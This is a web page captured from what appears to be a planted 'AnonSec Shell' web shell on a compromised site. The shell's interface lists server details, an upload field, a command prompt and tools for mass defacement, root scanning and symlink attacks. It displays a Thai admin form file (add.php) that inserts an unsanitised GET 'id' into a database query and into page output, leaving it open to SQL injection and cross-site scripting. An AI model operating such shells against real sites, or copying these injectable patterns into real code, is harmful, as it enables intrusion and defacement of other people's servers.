AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/mybackend/seamsi_detail-/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/mybackend/seamsi_detail-/add.php
<?php require_once("../include/class.php");?>
<?php require_once("../include/header.php");?>
<?php require_once("../include/nav_top.php");?>
<?php require_once("../include/sidebar.php");?>
<?php include("table_name.php");?>
 <?php
		$list1 = array('table'=>'seamsi','where'=>'id = "'.$_GET['id'].'"');				  
		$view1 = $view_db->view($list1);
		$row1 = $view_db->q($view1);
	?>

<div id="main-content">
  <div class="container-fluid">
  
    <ul class="breadcrumb">
      <li><a href="../seamsi/list.php"><?php echo ucfirst('seamsi') ?></a><span class="divider">&raquo;</span></li>
      <li class="active"><?php echo $row1['name']?> <span class="divider">&raquo;</span> </li>
      <li class="active">Add</li>
    </ul>
    
    
    
    
    <div class="row-fluid">
			<div class="span12">
				<div class="nonboxy-widget">
					<div class="widget-head">
						<h5><i class="black-icons blocks_images"></i> From  </h5>
					</div>
                    
					
                    <div class="widget-content">
						<div class="widget-box">
                        	<form class="form-horizontal well" id="signupform_product" action="add_save.php" method="post" enctype="multipart/form-data">
								<fieldset>
                                
                                <table id="myTbl" width="650" border="0" cellspacing="2" cellpadding="0">
                                      <tr id="firstTr">
                                        <td>
                                        	<div class="control-group">
                                                <label class="control-label">เลขใบเซียมซี</label>
                                                <div class="controls">
                                                    <input name="number[]" type="text" class="span8" value="">
                                                </div>
                                            </div>
                                          
                                            <div class="control-group">
                                                <label class="control-label">ข้อความ</label>
                                                <div class="controls">
                                                    <textarea  name="detail[]" rows="5" cols="5"  class="span8"></textarea>
                                                </div>
                                            </div>
                                                 
                                        </tr>
                                    </table>
                                    <br />
                                    <table width="500" border="0" cellspacing="0" cellpadding="0" align="center">
                                      <tr>
                                        <td>
                                            <button id="addRow" type="button">+ คอลัมน์ </button>  
                                            &nbsp;
                                            <button id="removeRow" type="button">- คอลัมน์</button>
                                            &nbsp;
                                            &nbsp;
                                            &nbsp;
                                        </td>
                                      </tr>
                                    </table>
                                
									
								
                                    
                                     
                                    
									
								</fieldset>
								<div class="form-actions">
                                	<input name="seamsi_id" type="hidden" class="span8" value="<?php echo $_GET['id']?>">
									<button class="btn btn-primary" type="submit">Save changes</button>
									<a href="list.php" class="btn" role="button">Cancel</a>
								</div>
							</form>
                           
                            
							</div>
						</div>
                    
                   
					
					</div>
				</div>
			</div>
			
	</div>
    
    
    
    
    
  </div>
</div>

<?php require_once("../include/footer_js.php");?>
<script type="text/javascript">
$(function(){
    $("#addRow").click(function(){
        $("#myTbl").append($("#firstTr").clone());
    });
    $("#removeRow").click(function(){
        if($("#myTbl tr").size()>1){
            $("#myTbl tr:last").remove();
        }else{
            alert("ต้องมีรายการข้อมูลอย่างน้อย 1 รายการ");
        }
    });         
});
</script>
</body>
</html>

Anon7 - 2022
AnonSec Team